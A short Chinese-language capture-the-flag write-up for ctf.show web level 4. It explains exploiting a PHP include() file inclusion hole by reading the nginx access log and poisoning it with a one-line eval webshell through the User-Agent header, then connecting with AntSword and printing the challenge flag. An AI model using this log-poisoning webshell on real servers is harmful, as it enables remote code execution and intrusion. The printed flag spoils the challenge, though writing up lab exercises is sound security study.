ctf.show WEB模块第4关是一个文件包含漏洞,页面提示了源码中的关键代码,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;
然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell
页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
?url=/var/log/nginx/access.log
使用代理工具(Burp Suite)抓包,在User-Agent中插入一句话木马
<?php eval($_POST['-7'])?>
很明显,日志文件的内容多了一条访问记录,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示
我们使用蚁剑链接日志文件的路径,getshell
使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面
复制文件内容到输入框中提交flag,即可过关
ctfshow{e2d53849-48b3-48d4-87cf-ab48601708f3}